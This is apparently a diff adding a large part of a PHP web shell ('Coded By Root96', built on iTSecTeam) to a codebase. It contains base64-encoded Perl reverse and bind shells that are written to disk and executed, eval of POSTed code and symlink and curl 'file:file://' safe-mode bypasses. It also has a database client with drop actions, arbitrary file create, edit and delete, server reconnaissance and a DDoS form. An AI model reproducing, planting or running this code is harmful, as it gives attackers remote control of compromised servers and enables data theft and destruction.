     577 +$fr .= "\x00\x00";
     578 +$fr .= "\x08\x00";
     579 +$fr .= "\x00\x00\x00\x00";
     580 +$unc_len = strlen($data);
     581 +$crc = crc32($data);
     582 +$zdata = gzcompress($data);
     583 +$zdata = substr( substr($zdata, 0, strlen($zdata) - 4), 2);
     584 +$c_len = strlen($zdata);
     585 +$fr .= pack("V",$crc);
     586 +$fr .= pack("V",$c_len);
     587 +$fr .= pack("V",$unc_len);
     588 +$fr .= pack("v", strlen($name) );
     589 +$fr .= pack("v", 0 );
     590 +$fr .= $name;
     591 +$fr .= $zdata;
     592 +$fr .= pack("V",$crc);
     593 +$fr .= pack("V",$c_len);
     594 +$fr .= pack("V",$unc_len);
     595 +$this -> datasec[] = $fr;
     596 +$new_offset = strlen(implode("", $this->datasec));
     597 +$cdrec = "\x50\x4b\x01\x02";
     598 +$cdrec .="\x00\x00";
     599 +$cdrec .="\x14\x00";
     600 +$cdrec .="\x00\x00";
     601 +$cdrec .="\x08\x00";
     602 +$cdrec .="\x00\x00\x00\x00";
     603 +$cdrec .= pack("V",$crc);
     604 +$cdrec .= pack("V",$c_len);
     605 +$cdrec .= pack("V",$unc_len);
     606 +$cdrec .= pack("v", strlen($name) );
     607 +$cdrec .= pack("v", 0 );
     608 +$cdrec .= pack("v", 0 );
     609 +$cdrec .= pack("v", 0 );
     610 +$cdrec .= pack("v", 0 );
     611 +$cdrec .= pack("V", 32 );
     612 +$cdrec .= pack("V", $this -> old_offset );
     613 +$this -> old_offset = $new_offset;
     614 +$cdrec .= $name;
     615 +$this -> ctrl_dir[] = $cdrec;
     616 +}
     617 +function file() {
     618 +$data = implode("", $this -> datasec);
     619 +$ctrldir = implode("", $this -> ctrl_dir);
     620 +return
     621 +$data.
     622 +$ctrldir.
     623 +$this -> eof_ctrl_dir.
     624 +pack("v", sizeof($this -> ctrl_dir)).
     625 +pack("v", sizeof($this -> ctrl_dir)).
     626 +pack("V", strlen($ctrldir)).
     627 +pack("V", strlen($data)).
     628 +"\x00\x00";
     629 +}
     630 +}
     631 +$dlfolder=$_GET['address'].$slash.$_GET['dirname'].$slash;
     632 +$zipfile = new zipfile();
     633 +function get_files_from_folder($directory, $put_into) {
     634 +global $zipfile;
     635 +if ($handle = opendir($directory)) {
     636 +while (false !== ($file = readdir($handle))) {
     637 +if (is_file($directory.$file)) {
     638 +$fileContents = file_get_contents($directory.$file);
     639 +$zipfile->add_file($fileContents, $put_into.$file);
     640 +} elseif ($file != '.' and $file != '..' and is_dir($directory.$file)) {
     641 +$zipfile->add_dir($put_into.$file.'/');
     642 +get_files_from_folder($directory.$file.'/', $put_into.$file.'/');
     643 +}
     644 +}
     645 +}
     646 +closedir($handle);
     647 +}
     648 +$datedl=date("y-m-d");
     649 +get_files_from_folder($dlfolder,'');
     650 +header("Content-Disposition: attachment; filename=" . $_GET['dirname']."-".$datedl.".zip");
     651 +header("Content-Type: application/download");
     652 +header("Content-Length: " . strlen($zipfile -> file()));
     653 +flush();
     654 +echo $zipfile -> file();
     655 +$filename = $_GET['dirname']."-".$datedl.".zip";
     656 +$fd = fopen ($filename, "wb");
     657 +$out = fwrite ($fd, $zipfile -> file());
     658 +fclose ($fd);
     659 +}
     660 +if ($_REQUEST['cdirname']){
     661 +if(mkdir($_REQUEST['cdirname'],"0777")){alert("Directory Created !");}else{alert("Permission Denied !");}}
     662 +function bcn($ipbc,$pbc){
     663 +$bcperl="IyEvdXNyL2Jpbi9wZXJsCiMgQ29ubmVjdEJhY2tTaGVsbCBpbiBQZXJsLiBTaGFkb3cxMjAgLSB3
     664 +NGNrMW5nLmNvbQoKdXNlIFNvY2tldDsKCiRob3N0ID0gJEFSR1ZbMF07CiRwb3J0ID0gJEFSR1Zb
     665 +MV07CgogICAgaWYgKCEkQVJHVlswXSkgewogIHByaW50ZiAiWyFdIFVzYWdlOiBwZXJsIHNjcmlw
     666 +dC5wbCA8SG9zdD4gPFBvcnQ+XG4iOwogIGV4aXQoMSk7Cn0KcHJpbnQgIlsrXSBDb25uZWN0aW5n
     667 +IHRvICRob3N0XG4iOwokcHJvdCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsgIyBZb3UgY2FuIGNo
     668 +YW5nZSB0aGlzIGlmIG5lZWRzIGJlCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFN
     669 +LCAkcHJvdCkgfHwgZGllICgiWy1dIFVuYWJsZSB0byBDb25uZWN0ICEiKTsKaWYgKCFjb25uZWN0
     670 +KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGll
     671 +KCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpO30KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOwog
     672 +IG9wZW4oU1RET1VULCI+JlNFUlZFUiIpOwogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOwogIGV4
     673 +ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow==";
     674 +$opbc=fopen("bcc.pl","w");
     675 +fwrite($opbc,base64_decode($bcperl));
     676 +fclose($opbc);
     677 +system("perl bcc.pl $ipbc $pbc") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
     678 +}
     679 +function wbp($wb){
     680 +$wbp="dXNlIFNvY2tldDsKJHBvcnQJPSAkQVJHVlswXTsKJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3Rj
     681 +cCcpOwpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsKc2V0c29j
     682 +a29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgcGFjaygibCIsIDEpKTsKYmlu
     683 +ZChTRVJWRVIsIHNvY2thZGRyX2luKCRwb3J0LCBJTkFERFJfQU5ZKSk7Cmxpc3RlbihTRVJWRVIs
     684 +IFNPTUFYQ09OTik7CmZvcig7ICRwYWRkciA9IGFjY2VwdChDTElFTlQsIFNFUlZFUik7IGNsb3Nl
     685 +IENMSUVOVCkKewpvcGVuKFNURElOLCAiPiZDTElFTlQiKTsKb3BlbihTVERPVVQsICI+JkNMSUVO
     686 +VCIpOwpvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7CnN5c3RlbSgnY21kLmV4ZScpOwpjbG9zZShT
     687 +VERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7Cn0g";
     688 +$opwb=fopen("wbp.pl","w");
     689 +fwrite($opwb,base64_decode($wbp));
     690 +fclose($opwb);
     691 +echo getcwd();
     692 +system("perl wbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
     693 +}
     694 +function lbp($wb){
     695 +$lbp="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7JHBvcnQ9JEFSR1ZbMF07JHByb3RvPWdldHByb3Rv
     696 +YnluYW1lKCd0Y3AnKTskY21kPSJscGQiOyQwPSRjbWQ7c29ja2V0KFNFUlZFUiwgUEZfSU5FVCwg
     697 +U09DS19TVFJFQU0sICRwcm90byk7c2V0c29ja29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JF
     698 +VVNFQUREUiwgcGFjaygibCIsIDEpKTtiaW5kKFNFUlZFUiwgc29ja2FkZHJfaW4oJHBvcnQsIElO
     699 +QUREUl9BTlkpKTtsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pO2Zvcig7ICRwYWRkciA9IGFjY2Vw
     700 +dChDTElFTlQsIFNFUlZFUik7IGNsb3NlIENMSUVOVCl7b3BlbihTVERJTiwgIj4mQ0xJRU5UIik7
     701 +b3BlbihTVERPVVQsICI+JkNMSUVOVCIpO29wZW4oU1RERVJSLCAiPiZDTElFTlQiKTtzeXN0ZW0o
     702 +Jy9iaW4vc2gnKTtjbG9zZShTVERJTik7Y2xvc2UoU1RET1VUKTtjbG9zZShTVERFUlIpO30g";
     703 +$oplb=fopen("lbp.pl","w");
     704 +fwrite($oplb,base64_decode($lbp));
     705 +fclose($oplb);
     706 +system("perl lbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
     707 +}
     708 +
     709 +if($_REQUEST['portbw']){
     710 +wbp($_REQUEST['portbw']);
     711 +
     712 +}if($_REQUEST['portbl']){
     713 +lbp($_REQUEST['portbl']);
     714 +}
     715 +if($_REQUEST['ipcb'] && $_REQUEST['portbc']){
     716 +bcn($_REQUEST['ipcb'],$_REQUEST['portbc']);
     717 +
     718 +}
     719 +
     720 +
     721 +function copyf($file1,$file2,$filename){
     722 +global $slash;
     723 +$fpc = fopen($file1, "rb");
     724 +$source = '';
     725 +while (!feof($fpc)) {
     726 +$source .= fread($fpc, 8192);
     727 +}
     728 +fclose($fpc);
     729 +$opt = fopen($file2.$slash.$filename, "w");
     730 +fwrite($opt, $source);
     731 +fclose($opt);
     732 +}
     733 +if ($_REQUEST['copyname'] && $_REQUEST['cpyto']){
     734 +if(is_writable($_REQUEST['cpyto'])){
     735 +echo $_REQUEST['address'];
     736 +copyf($_REQUEST['address'].$slash.$_REQUEST['copyname'],$_REQUEST['cpyto'],$_REQUEST['copyname']);
     737 +}else{alert("Permission Denied !");}}
     738 +if($_REQUEST['cfilename']){
     739 +
     740 +echo $head.$formp.$nowaddress.'<p align="center"><b>Create File</b><br><textarea rows="19" name="nf4cs" cols="87"></textarea><br><input value="'.$_REQUEST['cfilename'].'" name=nf4c size=50><br><input type=submit value=" Create "></form>'.$end;exit;
     741 +}
     742 +
     743 +if($_REQUEST['nf4c'] && $_REQUEST['nf4cs']){
     744 +if($ofile4c=fopen($_REQUEST['nf4c'],"w")){
     745 +fwrite($ofile4c,$_REQUEST['nf4cs']);
     746 +fclose($ofile4c);
     747 +alert("File Saved !");}else{alert("Permission Denied !");}}
     748 +
     749 +function sqlclienT(){
     750 +global $t,$errorbox,$et,$hcwd;
     751 +if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){
     752 +$server=$_REQUEST['serveR'];$type=$_REQUEST['typE'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY'];
     753 +$db=(empty($_REQUEST['dB']))?'':$_REQUEST['dB'];
     754 +$_SESSION[server]=$_REQUEST['serveR'];$_SESSION[type]=$_REQUEST['typE'];$_SESSION[pass]=$_REQUEST['pasS'];$_SESSION[user]=$_REQUEST['useR'];
     755 +
     756 +}
     757 +
     758 +if (isset ($_GET[select_db])){
     759 + $getdb=$_GET[select_db];
     760 + $_SESSION[db]=$getdb;
     761 + $query="SHOW TABLES";
     762 + $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);
     763 +}
     764 +elseif (isset ($_GET[select_tbl])){
     765 + $tbl=$_GET[select_tbl];
     766 + $_SESSION[tbl]=$tbl;
     767 + $query="SELECT * FROM `$tbl`";
     768 + $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);
     769 +}
     770 +elseif (isset ($_GET[drop_db])){
     771 + $getdb=$_GET[drop_db];
     772 + $_SESSION[db]=$getdb;
     773 + $query="DROP DATABASE `$getdb`";
     774 + querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],'',$query);
     775 + $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],'','SHOW DATABASES');
     776 +}
     777 +elseif (isset ($_GET[drop_tbl])){
     778 + $getbl=$_GET[drop_tbl];
     779 + $query="DROP TABLE `$getbl`";
     780 + querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);
     781 + $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],'SHOW TABLES');
     782 +}
     783 +elseif (isset ($_GET[drop_row])){
     784 + $getrow=$_GET[drop_row];
     785 + $getclm=$_GET[clm];
     786 + $query="DELETE FROM `$_SESSION[tbl]` WHERE $getclm='$getrow'";
     787 + $tbl=$_SESSION[tbl];
     788 + querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],$query);
     789 + $res=querY($_SESSION[type],$_SESSION[server],$_SESSION[user],$_SESSION[pass],$_SESSION[db],"SELECT * FROM `$tbl`");
     790 +}
     791 +else
     792 + $res=querY($type,$server,$user,$pass,$db,$query);
     793 +
     794 +if($res){
     795 +$res=htmlspecialchars($res);
     796 +$row=array ();
     797 +$title=explode('[+][+][+]',$res);
     798 +$trow=explode('[-][-][-]',$title[1]);
     799 +$row=explode('|+|+|+|+|+|',$title[0]);
     800 +$data=array();
     801 +$field=$trow[count($trow)-2];
     802 +if (strstr($trow[0],'Database')!='')
     803 + $obj='db';
     804 +elseif (substr($trow[0],0,6)=='Tables')
     805 + $obj='tbl';
     806 +else
     807 + $obj='row';
     808 +$i=0;
     809 +foreach ($row as $a){
     810 +if($a!='')
     811 +$data[$i++]=explode('|-|-|-|-|-|',$a);
     812 +}
     813 +
     814 +echo "<table border=1 bordercolor='#C6C6C6' cellpadding='2' bgcolor='EAEAEA' width='100%' style='border-collapse: collapse'><tr>";
     815 +foreach ($trow as $ti)
     816 +echo "<td bgcolor='F2F2F2'>$ti</td>";
     817 +echo "</tr>";
     818 +$j=0;
     819 +while ($data[$j]){
     820 + echo "<tr>";
     821 + foreach ($data[$j++] as $dr){
     822 + echo "<td>";
     823 + if($obj!='row') echo "<a href='$_SERVER[PHP_SELF]?do=db&select_$obj=$dr'>";
     824 + echo $dr;
     825 + if($obj!='row') echo "</a>";
     826 + echo "</td>";
     827 + }
     828 + echo "<td><a href='$_SERVER[PHP_SELF]?do=db&drop_$obj=$dr";
     829 + if($obj=='row')
     830 + echo "&clm=$field";
     831 + echo "'>Drop</a></td></tr>";
     832 +}
     833 +echo "</table><br>";
     834 +
     835 +}
     836 +
     837 +
     838 +
     839 +
     840 +
     841 +if(empty($_REQUEST['typE']))$_REQUEST['typE']='';
     842 +echo "<center><form name=client method='POST' action='$_SERVER[PHP_SELF]?do=db'><table border='1' width='400' style='border-collapse: collapse' id='table1' bordercolor='#C6C6C6' cellpadding='2'><tr><td width='400' colspan='2' bgcolor='#F2F2F2'><p align='center'><b><font face='Arial' size='2' color='#433934'>Connect to Database</font></b></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>DB Type:</font></td><td width='250' bgcolor='#EAEAEA'><select name=typE><option valut=MySQL onClick='document.client.serveR.disabled = false;' ";
     843 +if ($_REQUEST['typE']=='MySQL')echo 'selected';
     844 +echo ">MySQL</option><option valut=MSSQL onClick='document.client.serveR.disabled = false;' ";
     845 +if ($_REQUEST['typE']=='MSSQL')echo 'selected';
     846 +echo ">MSSQL</option><option valut=Oracle onClick='document.client.serveR.disabled = true;' ";
     847 +if ($_REQUEST['typE']=='Oracle')echo 'selected';
     848 +echo ">Oracle</option><option valut=PostgreSQL onClick='document.client.serveR.disabled = false;' ";
     849 +if ($_REQUEST['typE']=='PostgreSQL')echo 'selected';
     850 +echo ">PostgreSQL</option><option valut=DB2 onClick='document.client.serveR.disabled = false;' ";
     851 +if ($_REQUEST['typE']=='DB2')echo 'selected';
     852 +echo ">IBM DB2</option></select></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Server Address:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='";
     853 +if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost';
     854 +echo "' name=serveR size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Username:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text name=useR value='";
     855 +if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']);else echo 'root';
     856 +echo "' size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Password:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='";
     857 +if (isset($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);else echo '123';
     858 +echo "' name=pasS size=35></td></tr><tr><td width='400' colspan='2' bgcolor='#F2F2F2'><p align='center'><b><font face='Arial' size='2' color='#433934'>Submit a Query</font></b></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>DB Name:</font></td><td width='250' bgcolor='#EAEAEA'><input type=text value='";
     859 +if (!empty($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']);
     860 +echo "' name=dB size=35></td></tr><tr><td width='150' bgcolor='#EAEAEA'><font face='Arial' size='2'>Query:</font></td><td width='250' bgcolor='#EAEAEA'><textarea name=querY rows=5 cols=27>";
     861 +if (!empty($_REQUEST['querY'])) echo htmlspecialchars(($_REQUEST['querY']));else echo 'SHOW DATABASES';
     862 +echo "</textarea></td></tr><tr><td width='400' colspan='2' bgcolor='#EAEAEA'>$hcwd<input class=buttons type=submit value='Submit' style='float: right'></td></tr></table></form>$et</center>";
     863 +}
     864 +
     865 +
     866 +function querY($type,$host,$user,$pass,$db='',$query){
     867 +$res='';
     868 +switch($type){
     869 +case 'MySQL':
     870 +if(!function_exists('mysql_connect'))return 0;
     871 +$link=mysql_connect($host,$user,$pass);
     872 +if($link){
     873 +if(!empty($db))mysql_select_db($db,$link);
     874 +$result=mysql_query($query,$link);
     875 +if ($result!=1){
     876 +while($data=mysql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
     877 +$res.='[+][+][+]';
     878 +for($i=0;$i<mysql_num_fields($result);$i++)
     879 +$res.=mysql_field_name($result,$i).'[-][-][-]';
     880 +}
     881 +mysql_close($link);
     882 +return $res;
     883 +}
     884 +break;
     885 +case 'MSSQL':
     886 +if(!function_exists('mssql_connect'))return 0;
     887 +$link=mssql_connect($host,$user,$pass);
     888 +if($link){
     889 +if(!empty($db))mssql_select_db($db,$link);
     890 +$result=mssql_query($query,$link);
     891 +while($data=mssql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
     892 +$res.='[+][+][+]';
     893 +for($i=0;$i<mssql_num_fields($result);$i++)
     894 +$res.=mssql_field_name($result,$i).'[-][-][-]';
     895 +mssql_close($link);
     896 +return $res;
     897 +}
     898 +break;
     899 +case 'Oracle':
     900 +if(!function_exists('ocilogon'))return 0;
     901 +$link=ocilogon($user,$pass,$db);
     902 +if($link){
     903 +$stm=ociparse($link,$query);
     904 +ociexecute($stm,OCI_DEFAULT);
     905 +while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
     906 +$res.='[+][+][+]';
     907 +for($i=0;$i<oci_num_fields($stm);$i++)
     908 +$res.=oci_field_name($stm,$i).'[-][-][-]';
     909 +return $res;
     910 +}
     911 +break;
     912 +case 'PostgreSQL':
     913 +if(!function_exists('pg_connect'))return 0;
     914 +$link=pg_connect("host=$host dbname=$db user=$user password=$pass");
     915 +if($link){
     916 +$result=pg_query($link,$query);
     917 +while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
     918 +$res.='[+][+][+]';
     919 +for($i=0;$i<pg_num_fields($result);$i++)
     920 +$res.=pg_field_name($result,$i).'[-][-][-]';
     921 +pg_close($link);
     922 +return $res;
     923 +}
     924 +break;
     925 +case 'DB2':
     926 +if(!function_exists('db2_connect'))return 0;
     927 +$link=db2_connect($db,$user,$pass);
     928 +if($link){
     929 +$result=db2_exec($link,$query);
     930 +while($data=db2_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|';
     931 +$res.='[+][+][+]';
     932 +for($i=0;$i<db2_num_fields($result);$i++)
     933 +$res.=db2_field_name($result,$i).'[-][-][-]';
     934 +db2_close($link);
     935 +return $res;
     936 +}
     937 +break;
     938 +}
     939 +return 0;
     940 +}
     941 +function bywsym($file){
     942 +if(!function_exists('symlink')){echo "Function Symlink Not Exist";}
     943 +
     944 +if(!is_writable("."))
     945 + die("not writable directory");
     946 +$level=0;
     947 +for($as=0;$as<$fakedep;$as++){
     948 + if(!file_exists($fakedir))
     949 + mkdir($fakedir);
     950 + chdir($fakedir);
     951 +}
     952 +while(1<$as--) chdir("..");
     953 +$hardstyle = explode("/", $file);
     954 +for($a=0;$a<count($hardstyle);$a++){
     955 + if(!empty($hardstyle[$a])){
     956 + if(!file_exists($hardstyle[$a]))
     957 + mkdir($hardstyle[$a]);
     958 + chdir($hardstyle[$a]);
     959 + $as++;
     960 +}}
     961 +$as++;
     962 +while($as--)
     963 + chdir("..");
     964 +@rmdir("fakesymlink");
     965 +@unlink("fakesymlink");
     966 +@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
     967 +while(1)
     968 + if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
     969 + else $num++;
     970 +@unlink("fakesymlink");
     971 +mkdir("fakesymlink");
     972 +}
     973 +function bypcu($file){
     974 +$level=0;
     975 +
     976 +if(!file_exists("file:"))
     977 + mkdir("file:");
     978 +chdir("file:");
     979 +$level++;
     980 +
     981 +$hardstyle = explode("/", $file);
     982 +
     983 +for($a=0;$a<count($hardstyle);$a++){
     984 + if(!empty($hardstyle[$a])){
     985 + if(!file_exists($hardstyle[$a]))
     986 + mkdir($hardstyle[$a]);
     987 + chdir($hardstyle[$a]);
     988 + $level++;
     989 + }
     990 +}
     991 +
     992 +while($level--) chdir("..");
     993 +
     994 +$ch = curl_init();
     995 +
     996 +curl_setopt($ch, CURLOPT_URL, "file:file:///".$file);
     997 +
     998 +echo '<FONT COLOR="RED"> <textarea rows="40" cols="120">';
     999 +
     1000 +if(FALSE==curl_exec($ch))
     1001 + die('>Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.');
     1002 +
     1003 +echo ' </textarea> </FONT>';
     1004 +
     1005 +curl_close($ch);
     1006 +}
     1007 +if ($_REQUEST['bypcu']){
     1008 +bypcu($_REQUEST['bypcu']);
     1009 +}
     1010 +
     1011 +function printdrive(){
     1012 +global $slash;
     1013 +foreach (range("A","Z") as $tempdrive) {
     1014 +if (is_dir($tempdrive.":".$slash)){
     1015 +$adri=$tempdrive.":".$slash;
     1016 +$drivea=$drivea.'<a href="?address='.$adri.'"><b><font size=3>'.$tempdrive.':'.$slash.'</a><font color=green> - </font></b></font>';
     1017 +}
     1018 +}
     1019 +return $drivea;
     1020 +}
     1021 +if($_POST['nameren'] && $_POST['addressren']){
     1022 +if(is_writable($_REQUEST['addressren'])){
     1023 +
     1024 +rename($_POST['addressren'],$_POST['nameren']);alert("Rename Successful !");
     1025 +}else{alert("Permission Denied !");}
     1026 +}
     1027 +if($_GET['do']=="delete"){
     1028 +
     1029 +if ($_GET['type']=="dir"){
     1030 +if(is_writable($_REQUEST['address'])){
     1031 +$dir=$_GET['address'].$_GET['filename'];
     1032 +deleteDirectory($dir);
     1033 +alert("Deleted Successful !");
     1034 +}else{alert("Permission Denied !");}
     1035 +}elseif($_GET['type']=="file"){
     1036 +if(is_writable($_GET['address'].$_GET['filename'])){
     1037 +unlink($_GET['address'].$_GET['filename']);alert("Deleted Successful !");
     1038 +}else{alert("Permission Denied !");}
     1039 +}
     1040 +}
     1041 +if($_POST['fedit'] && $_POST['namefe']){
     1042 +if(is_writable($_REQUEST['address'])){
     1043 +
     1044 +
     1045 +$opensave=fopen($_POST['address'].$slash.$_POST['namefe'],"w");
     1046 +fwrite($opensave,html_entity_decode($_POST['fedit']));
     1047 +fclose($opensave);alert("File Saved Successful !");
     1048 +}else{alert("Permission Denied !");}
     1049 +}
     1050 +if ($_POST['evalsource']){
     1051 +
     1052 +eval($_POST['evalsource']);
     1053 +}
     1054 +
     1055 +if($_GET['do']=="info"){
     1056 +
     1057 +if(ini_get('register_globals')){
     1058 +$registerg="Enable";
     1059 +}else{
     1060 +$registerg="OFF";
     1061 +}
     1062 +if(extension_loaded('curl')){
     1063 +$curls="ON";
     1064 +}else{
     1065 +$curls="OFF";
     1066 +}
     1067 +if(@function_exists('mysql_connect')){
     1068 +$db_on = "Mysql : On";
     1069 +};
     1070 +if(@function_exists('mssql_connect')){
     1071 +$db_on = "Mssql : On";
     1072 +};
     1073 +if(@function_exists('pg_connect')){
     1074 +$db_on = "PostgreSQL : On";
     1075 +};if(@function_exists('ocilogon')){
     1076 +$db_on = "Oracle : On";
     1077 +};
     1078 +$id = @exec('id');
     1079 +if (!empty($id)){ $ff=$id; }else $ff= "user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid();
     1080 +echo $head."<font face='' size='2'><p style='max-width: 550px;'>
     1081 +<font color=red>This page : </font>".htmlentities(__FILE__, ENT_QUOTES, 'UTF-8')."<br>
     1082 +<font color=red>ID : </font>".$ff."<br>
     1083 +<font color=red>your_ip : </font>".$_SERVER['REMOTE_ADDR']."<br>
     1084 +<font color=red>OS : </font>".php_uname(s)."
     1085 +<font color=red>Machine name : </font>".php_uname(n)."
     1086 +<font color=red>Kernel Release : </font>".php_uname(r)."
     1087 +<font color=red>Kernel Version : </font>".php_uname(v)."
     1088 +<font color=red>Machine : </font>".php_uname(m)."<br>
     1089 +<font color=red>Server Name : </font>".$_SERVER['HTTP_HOST']."<br>
     1090 +<font color=red>Admin Server : </font>".$_SERVER['SERVER_ADMIN']."<br>
     1091 +<font color=red>Server port : </font>".htmlentities($_SERVER['SERVER_PORT'], ENT_QUOTES, 'UTF-8')."<br>
     1092 +<font color=red>server_ip : </font>".gethostbyname($_SERVER["HTTP_HOST"])."<br>
     1093 +<font color=red>server_software : </font>".getenv("SERVER_SOFTWARE")."<br>
     1094 +<font color=red>Php Version : </font>".phpversion()."<br>
     1095 +<font color=red>Zend : </font>".htmlentities(zend_version(), ENT_QUOTES, 'UTF-8')."<br>
     1096 +<font color=red>Disable_Functions : </font>".$disablef."<br>
     1097 +<font color=red>Safe_Mode : </font>".$safe_modes."<br>
     1098 +<font color=red>Openbase_dir : </font>".ini_get('openbase_dir')."<br>
     1099 +<font color=red>Free Space : </font>".sizee(disk_free_space("/"))."<br>
     1100 +<font color=red>Total Space : </font>".sizee(disk_total_space("/"))."<br>
     1101 +<font color=red>Register_Globals : </font>".$registerg."<br>
     1102 +<font color=red>Curl : </font>".$curls."<br>
     1103 +<font color=red>Oracle : </font>".$Oracle2=function_exists('ocilogon')?("<font color='red'>ON</font>"):("OFF")."<br>
     1104 +<font color=red>MySQL : </font>".$MySQL2=function_exists('mysql_connect')?("<font color='red'>ON</font>"):("OFF")."<br>
     1105 +<font color=red>MSSQL : </font>".$MSSQL2=function_exists('mssql_connect')?("<font color='red'>ON</font>"):("OFF")."<br>
     1106 +<font color=red>PostgreSQL : </font>".$pg_connect2=function_exists('pg_connect')?("<font color='red'>ON</font>"):("OFF")."<br>
     1107 +<font color=red>disabled_functions : </font>".$r=ini_get('disable_functions') ? ini_get('disable_functions'):'none'."<br>
     1108 +<font color=red>Extensiones cargadas : </font>".htmlentities(implode(', ',get_loaded_extensions()), ENT_QUOTES, 'UTF-8')."<br>
     1109 +<font color=red>Loaded Apache modules : </font>".implode(', ', apache_get_modules())."<br>
     1110 +</p></font>".$end;
     1111 +exit;
     1112 +}
     1113 +if($_GET['do']=="dd0s"){
     1114 +echo $head.$formg.$nowaddress.'<p align="center">Address : <input name=urldd0 size=50> Time : <input name=timedd0 size=6 value=40000><br><input type=submit value=" DDoS "></form></p>'.$end;exit;
     1115 +}
     1116 +if($_GET['do']=="killme")
     1117 +{
     1118 +setcookie('name', '', time() - 3600);
     1119 +setcookie('pass', '', time() - 3600);
     1120 +header('Location:?');
     1121 +}
     1122 +if($_REQUEST['do']=='about'){
     1123 +echo $head."<center><p align='center'>
     1124 +<b><font color=red>
     1125 +".$logotxt."</b></font>
     1126 +Version 18.09.Build.1.(beta)<br>
     1127 +Coded By : Boudjada Yasser(Root96)<br><br></center>
     1128 +<font color=red>Update : 2018/09/18</font><br>
     1129 +-design new theme (blackarch theme)& fix last theme error.<br><br>
     1130 +<font color=red>Update : 2017/12/21</font><br>
     1131 +-fix Upload error.<br>
     1132 +-fix download file error.<br>
     1133 +-fix sha1 convert.<br>
     1134 +-add more information.<br>
     1135 +-add image convert (base64).<br>
     1136 +-add login system.<br>
     1137 +-design new theme (Algeria theme).<br>
     1138 +-fix text convert (big text is converted now).<br>
     1139 +<b><center><br><font color=red>Built on iTSecTeam.</font></center></b>
     1140 +".$end;exit;
     1141 +}
     1142 +
     1143 +if($_GET['do']=="imgconvert"){
     1144 +echo $head.'<center><br><form action="" method="post" enctype="multipart/form-data">
     1145 +<input type="file" name="file1"><br>
     1146 +<input type="submit" value="convert" name="convert"></div>
     1147 +</form>';
     1148 +
     1149 +if(isset($_POST['convert'])){
     1150 +Function yasser($a){
     1151 +
     1152 +$explode = explode('.', $a['name']);
     1153 +$ext = $explode[count($explode) - 1];
     1154 +if(($ext != 'png')and($ext != 'jpg')and($ext != 'gif')and($ext != 'jpeg')){ echo "Only PNG,JPG,GIF and JPEG images can be converted"; exit();}
     1155 +if(is_uploaded_file($a['tmp_name'])){
     1156 +$result = move_uploaded_file($a['tmp_name'],''.basename($a['name']));
     1157 +echo $result === true ? 'File converted successfuly':'Thereare some errors';
     1158 +/**/
     1159 +$imgdata=base64_encode(file_get_contents($a['name']));
     1160 +$src='data:'.mime_content_type($a['name']).';base64,'.$imgdata;
     1161 +echo '<br><img style="width:25%" src="'.$src.'"><br><br>';
